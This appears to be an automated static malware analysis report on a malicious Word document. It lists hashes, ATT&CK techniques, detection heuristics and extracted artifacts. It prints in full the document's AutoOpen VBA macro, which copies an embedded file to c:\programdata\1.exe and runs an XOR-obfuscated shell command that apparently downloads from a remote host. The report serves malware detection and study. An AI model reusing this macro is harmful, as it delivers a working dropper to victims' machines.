Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c6bc5f8db1173945…

MALICIOUS

Office (OOXML)

103.2 KB Created: 2020-08-06 11:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: edb1cdc39171eba9263b619576610154 SHA-1: 83f946901538014295ff1e6a5c1ff732ae740726 SHA-256: c6bc5f8db1173945fca0b270656b059c69559a939480561296776938be03730c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The `autoopen` macro is designed to execute a shell command. It first copies a shape from the document to 'c:\programdata\1.exe' and then executes this file. The VBA code uses XOR obfuscation to hide the string that is eventually executed by the Shell() function.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1341 bytes
SHA-256: ad7416abd8866b54c4e2a8341dd766710fb91a9b3c4c5e0878ce1a39b580d1bf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Y"
Function R(LC)
R = Split(LC, " ")
End Function
Function rQ()
rQ = "c:\programdata\1.exe"
End Function
Sub autoopen()
Q = Ki("115 125 116 48 63 115 48 50 99 117 100 48 101 45 101 98 124 115 113 115 120 117 54 54 99 117 100 48 98 45 98 117 119 99 54 54 99 117 100 48 99 45 102 98 35 34 54 54 115 113 124 124 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 117 104 117 48 63 53 101 53 48 63 118 78 48 120 100 100 96 42 63 63 99 115 119 121 39 38 62 115 127 125 63 96 101 96 121 63 119 105 98 101 62 96 120 96 47 124 45 100 113 104 117 118 34 62 115 113 114 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 48 54 54 48 115 113 124 124 48 53 98 53 53 99 53 48 115 42 76 96 98 127 119 98 113 125 116 113 100 113 76 33 62 100 125 96 50")
Call FileCopy(ActiveDocument.Shapes(1).Title, rQ)

Shell Q
End Sub

Attribute VB_Name = "G"
Function Ki(L2)
y5 = R(L2)
OU = UBound(y5)
Pc = 0
Cm = 8
pr = ""
For jr = Pc To OU
 pr = pr & Chr(y5(jr) Xor 16)
Next jr
Ki = pr
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 71fa0bf44a295ff91cbc49d8897170c3f2398fb9db7723dcfe3bf699dea06f98

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